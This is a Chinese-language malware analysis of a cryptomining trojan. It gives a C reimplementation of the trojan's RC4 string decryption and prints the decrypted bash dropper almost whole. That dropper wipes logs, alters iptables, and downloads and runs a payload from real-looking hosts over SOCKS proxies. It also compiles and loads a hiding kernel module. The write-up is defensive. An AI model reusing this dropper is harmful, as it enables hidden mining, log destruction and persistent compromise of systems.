记一次木马病毒分析
记一次木马病毒分析
起因
别的实验室的同学的服务器中挖矿木马了,被抓过去尝试修了下,正巧在分析攻击路径的时候拷了一份病毒生产的文件,来进行一个分析。
简介
病毒应该是yayaya的变体,因为攻击路径很像,但是在内核文件中没有找到nonono的内核程序,因为内核程序太多,不敢进行测试,所以只删除了生成文件。
从进程中可以看到有一个16进制命名的文件/axxxxxxx
占用了50%以上的cpu,但是在文件系统中找不到文件,很可能是删除了该文件。但是从进程中可以找到它的运行程序和service。运行程序是/usr/bin/b8cf3b78143f1ff3
,初步看一下可以发现这是个写病毒并运行的文件。所以猜测病毒攻击路径应该是xxxx.ko->/usr/bin/b8cf3b78143f1ff3->/axxxxxxx
,那么内核文件应该只是个定期调用产生病毒的文件。事实证明删除了该文件之后,cpu占用确实不见了,但是关不了机,应该是内核程序还在运行。
本文重在分析该挖矿木马的文件细节。
分析
主体函数是这个,这个函数在最后调用了execvp运行file,说明它可能是一个绕过木马查杀的文件,用于写病毒并运行。
点进去函数可以看到很多加密的操作,于是首先得分析一下加密函数。
初步分析应该是这样的过程。那么先看看init干了啥:
很简单的函数,只是初始化了tb0为0-255,所以重点在后面的random里:
嗯。。。根据256位和神奇的交换方式,可以看出来这应该是一个rc4流密码。那么写一个rc4来试试。
由于rc4算法的加密和解密是相同的,所以只要能生成相同的流串就能解密。所以很明显程序是通过rc4加密之后存入,然后在运行时解密使用的。
好的!接下来让我们看看里面到底加密了些啥玩意!
#include<stdio.h>
unsigned char poi0,poi1,poi2;
int tb0[256];
int cry_init(){
int result;
poi0 = 0;
poi1 = 0;
poi2 = 0;
do
{
tb0[(unsigned char)poi0] = poi0;
result = (unsigned char)++poi0;
}
while ( poi0 );
return result;
}
int cry_random(unsigned char *key,int len){
int result; // rax
unsigned char v4; // [rsp+13h] [rbp-9h]
int v5; // [rsp+14h] [rbp-8h]
while ( len > 0 )
{
do
{
v4 = tb0[(unsigned char)poi0];
poi2 += v4;
poi2 += key[poi0 % len];
tb0[poi0] = tb0[poi2];
tb0[poi2] = v4;
result = ++poi0;
}
while ( poi0 );
len -= 256;
}
return result;
}
int cry_encrypt(unsigned char *p , int len){
unsigned char v4;
while ( len > 0 )
{
v4 = tb0[++poi0];
poi1 += v4;
tb0[poi0] = tb0[poi1];
tb0[poi1] = v4;
*p++ ^= tb0[(unsigned char)(tb0[(unsigned char)poi0] + v4)];
--len;
}
return 1;
}
void output(unsigned char* p, int len,int flag){
if(flag){
for(int i = 0 ; i < len ; i ++){
printf("%d ",p[i]);
}
}else{
for(int i = 0 ; i < len ; i ++){
printf("%c",p[i]);
}
}
printf("\n-----------------------------------------------------\n\n");
}
int main(){
unsigned char key[] =
{
0x5A, 0xE0, 0x3E, 0x1A, 0xD2, 0x7F, 0xA0, 0x7E, 0x79, 0xDB,
0xE8, 0x97, 0x2D, 0x5D, 0x94, 0xEB, 0x6E, 0xEA, 0x9C, 0x14,
0x42, 0xF9, 0x23, 0x10, 0xB4, 0xFD, 0xBE, 0x17, 0x37, 0xA0,
0x5C, 0x91, 0x80, 0x9B, 0xAC, 0x53, 0x1A, 0x4D, 0xD1, 0x94,
0x28, 0xB9, 0x2B, 0x55, 0x16, 0xBF, 0x41, 0x85, 0xAA, 0xDD,
0x99, 0xEC, 0xD6, 0xBD, 0xFC, 0x8B, 0xBB, 0xBB, 0xA3, 0xF2,
0x5B, 0xFF, 0x83, 0xDC, 0x9A, 0x30, 0x2F, 0xB5, 0x7D, 0x00,
0x4A, 0xA6, 0xB9, 0x75, 0xFB, 0xD0, 0x35, 0x3C, 0x55, 0xDF,
0x1A, 0xEF, 0xCC, 0xF1, 0xAD, 0xC8, 0x7C, 0x68, 0x83, 0x20,
0x5A, 0xDF, 0x1F, 0xDE, 0xBB, 0xBA, 0x0E, 0xEA, 0x70, 0x8C,
0xEA, 0xBA, 0x32, 0xA4, 0x30, 0x2D, 0x74, 0x65, 0x6A, 0xCA,
0x44, 0x84, 0xBA, 0x10, 0x75, 0x67, 0xD9, 0xF2, 0xCF, 0x5D,
0x12, 0x2A, 0x3C, 0x32, 0x08, 0xF8, 0xED, 0x16, 0xE2, 0x5D,
0xA3, 0xCD, 0x18, 0xD5, 0x71, 0x48, 0x03, 0xE6, 0xAE, 0x6D,
0xB0, 0xF2, 0xF2, 0x6A, 0x03, 0x68, 0xD2, 0xDC, 0x5A, 0xA2,
0x3A, 0x6C, 0xCC, 0x77, 0x9F, 0xD4, 0x6F, 0x8C, 0xEB, 0x51,
0xEA, 0x8E, 0x1F, 0x03, 0x64, 0x91, 0x4C, 0x67, 0x77, 0xFA,
0xD5, 0x28, 0xED, 0xC7, 0x93, 0xF0, 0x30, 0x65, 0xCD, 0x8A,
0x07, 0x08, 0xF7, 0xD4, 0x7F, 0x96, 0xA8, 0xEE, 0x23, 0x94,
0x40, 0x0D, 0x23, 0x5F, 0x11, 0x87, 0xF0, 0x5D, 0xEE, 0x68,
0x57, 0xC4, 0x90, 0x45, 0x8B, 0x24, 0x35, 0xBB, 0x89, 0x03,
0x46, 0x91, 0x0B, 0x3E, 0x65, 0x8A, 0xD4, 0x0E, 0x79, 0xF8,
0xA2, 0xB9, 0x06, 0xC6, 0x19, 0x17, 0x4D, 0x0A, 0x74, 0x3C,
0x72, 0xCC, 0x00, 0x03, 0x11, 0x8C, 0x27, 0x47, 0x47, 0xB1,
0x4A, 0x8E, 0x42, 0x56, 0xCC, 0xA8, 0xE1, 0xA1, 0xB6, 0x5A,
0x99, 0x59, 0x13, 0x9F, 0x1F, 0x2C
};
cry_init();
cry_random(key,256);
unsigned char t1[] =
{
0xC8, 0x8F, 0x22, 0x17, 0x06, 0xF7, 0x50, 0xE0, 0x38, 0x74,
0xC4, 0x1F, 0x9C, 0x20, 0xAA, 0x98, 0xD5, 0x71, 0x16, 0x01,
0x92, 0x93, 0xB2, 0x7F, 0x39, 0xC0, 0xF4, 0xBC, 0x14, 0x2C,
0x3D, 0x48, 0xAC, 0xDE, 0x54, 0x8F, 0x0D, 0x36, 0x32, 0x2F,
0xD0, 0xE6, 0xF0, 0xF6, 0xED, 0x9B, 0x77, 0x22, 0x63, 0xE0,
0xC4, 0xCF, 0x5B, 0xBB, 0xAB, 0xF7, 0xF8, 0x7C, 0x84, 0xAC,
0x61, 0x56, 0x13, 0x32, 0xD4
};
cry_encrypt(t1,65);
output(t1,65,0);
unsigned char t2[] = {0x0f};
cry_encrypt(t2,1);
output(t2,1,1);
unsigned char file[] =
{
0x57, 0x8F, 0x41, 0xDC, 0x59, 0x09, 0xE4, 0x4D, 0x73, 0x24
};
cry_encrypt(file,10);
output(file,10,0);
unsigned char t3[] =
{
0xF8, 0xFE, 0xAB, 0x00, 0x00
};
cry_encrypt(t3,3);
output(t3,3,0);
unsigned char aI[] =
{
0x22, 0x49, 0x8A, 0x99, 0xB3, 0xDE, 0xEF, 0x43, 0x9A, 0x68,
0x8C, 0xDD, 0x26, 0x3B, 0xE3
};
cry_encrypt(aI,15);
output(aI,15,0);
unsigned char t4[] = {0xB7};
cry_encrypt(t4,1);
output(t4,1,1);
unsigned char table2[] =
{
0xA1, 0xA1, 0x03, 0x97, 0xDC, 0xD2, 0x25, 0xF5, 0x8D, 0xC8,
0x2D, 0x30, 0xB7, 0xDF, 0x41, 0x95, 0xE8, 0x40, 0xD4, 0xEF,
0x50, 0x5E
};
cry_encrypt(table2,22);
output(table2,22,0);
cry_random(table2,22);
unsigned char table3[] =
{
0xCC, 0x86, 0xAC, 0x69, 0xE7, 0x63, 0xCA, 0x33, 0xF4, 0x32,
0x51, 0x6D, 0x68, 0xF9, 0xB1, 0x68, 0x61, 0x91, 0x3B, 0x83,
0x8B, 0xD3
};
cry_encrypt(table3,22);
output(table3,22,0);
unsigned char t5[] =
{
0xAD, 0x51, 0x31, 0xA3, 0xA8, 0x86, 0xF7, 0x9F, 0xD5, 0xE2,
0xDD, 0xA1, 0x29, 0xEB, 0x68, 0x73, 0x74, 0x08, 0x0D
};
cry_encrypt(t5,19);
output(t5,19,0);
unsigned char f1[] = {0xE1 };
cry_encrypt(f1,1);
output(f1,1,1);
unsigned char f2[] = {0xEE};
cry_encrypt(f2,1);
output(f2,1,1);
#include "export_results.h"
cry_encrypt(data,18782);
// output(data,18782,0);
// FILE* f = fopen("output.txt","w");
// for(int i = 0 ; i < 18782 ; i ++){
// fprintf(f,"%c",data[i]);
// }
// fclose(f);
unsigned char table4[] =
{
0x83, 0x34, 0x5E, 0x85, 0x39, 0x7B, 0x42, 0x20, 0x0E, 0x49,
0x86, 0x1F, 0xE3, 0x28, 0xEA, 0x6E, 0x0D, 0xF1, 0x0B
};
cry_encrypt(table4,19);
output(table4,19,0);
cry_random(table4,19);
unsigned char table5[] =
{
0x5E, 0xF0, 0x8D, 0x3E, 0x2E, 0xB0, 0x4E, 0x71, 0x45, 0xAB,
0x2B, 0xA2, 0xB3, 0x90, 0x87, 0xAF, 0x5F, 0x16, 0xEA
};
cry_encrypt(table5,19);
output(table5,19,0);
}
从代码里我们找到了很多散装的内容,以及一个bash程序,这个程序看上去就是挖矿程序了,程序就不放了,下面有缩略的程序。
然后继续分析:
这个代码是添加源程序的。
这个是调整环境变量的,其中exec_fun=exec '%s' "$@"
,v14=getenv("_")
返回一个指向当前程序的可执行文件名的字符串的指针,"$@"
会返回所有参数。
然后就是最后一段,不看那个else,剩下的步骤就是拼接参数,然后就通过/bin/bash
执行那个程序脚本,来操作挖矿。
浅分析一下挖矿软件:
#!/bin/bash
rm -rf /var/www/html/config.json
rm -rf /root/.xmrig.json
rm -rf /root/.config/xmrig.json
rm -rf /var/log/messages*
rm -rf /var/log/secure*
rm -rf /var/log/auth.log*
rm -rf /var/log/syslog*
echo "fs.file-max = 2097152" > /etc/sysctl.conf
sysctl -p
ulimit -SHn 1024000
mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
sleep 1
iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&
mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
hhide=$1
if [ -z "$1" ]; then
hhide="ad12e85f"
else
hhide="$1"
fi
module_install () {
mkdir /tmp/a
cat <<EOF >>/tmp/a/iptable_reject.h
...
...
EOF
sed -i -e"s/hhide/$(echo $hhide)/" /tmp/a/iptable_reject.h
cat <<EOF >>/tmp/a/iptable_reject.c
...
...
EOF
cat <<EOF >>/tmp/a/Makefile
obj-m := iptable_reject.o
CC = gcc -Wall
KDIR := /lib/modules/`uname -r`/build
PWD := /tmp/a
EOF
make -C /lib/modules/`uname -r`/build M=/tmp/a modules
insmod /tmp/a/iptable_reject.ko
rm -rf /tmp/a
}
DIR3="/etc/$hhide"
if [ -d "$DIR3" ]; then
echo "folder ok"
else
mkdir "$DIR3"
fi
EXE=`echo $RANDOM | md5sum | head -c 8`
PID=`cat /tmp/.X0_locks`
mama=$2
if [ -e "/proc/$PID/status" ]; then
echo "process exists"
else
if [ -z "$2" ]; then
echo "No Prx"
else
if grep -q "localhost00" "/etc/hosts"; then
echo "H exists"
else
if [ `wc -l < /etc/hosts` -lt 3 ]; then
echo "$mama localhost00" >> /etc/hosts
else
sed -i "3i $mama localhost00" /etc/hosts
fi
fi
fi
echo "process not exists"
FILE1="/etc/$hhide/iptable_reject"
if [ -f "$FILE1" ]; then
echo "PI exists."
else
echo "PI does not exist."
curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip
FILE="/tmp/pn.zip"
FILESIZE=$(stat -c%s "$FILE")
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip
fi
if (( FILESIZE > "1000000")); then
echo "zip exists."
else
echo "zip does not exist."
rm -rf "$FILE"
wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
fi
cd /tmp/
unzip -qq -o pn.zip
rm -rf pn.zip
mv iptable_reject "$FILE1"
fi
FILE2="/$EXE"
if [ -f "$FILE2" ]; then
echo "MD exists."
else
echo "MD does not exist."
cp "$FILE1" /"$EXE"
fi
/"$EXE" 2>/dev/null 1>/dev/null&
sleep 2
pidof "$EXE" > /tmp/.X0_locks
rm -rf /"$EXE"
kill -53 10000000
if grep -q "iptable_reject" "/proc/modules"; then
echo "M exists"
kill -41 `cat /tmp/.X0_locks`
kill -53 10000000
else
echo "M not exists"
module_install
kill -53 10000000
if grep -q "iptable_reject" "/proc/modules"; then
echo "M exists"
kill -41 `cat /tmp/.X0_locks`
kill -53 10000000
else
echo "M not installed check errors 2"
fi
fi
fi
sudo journalctl --vacuum-time=1s
- 把你的所有存储log的地方删了
- 增加一个开想要的ip的c文件,并且用make编译,然后删掉c文件,挂载内核文件iptable_reject.ko
- 远程下载需要的zip文件,塞进一个随机的md5的文件
/xxxxxxxx
中,然后运行它 - 删除这个文件,但是文件会在内存中持续运行
- 隐藏驱动
- 访问日志刷新
从这里其实可以看到内核文件在哪,可以rmmod卸载它。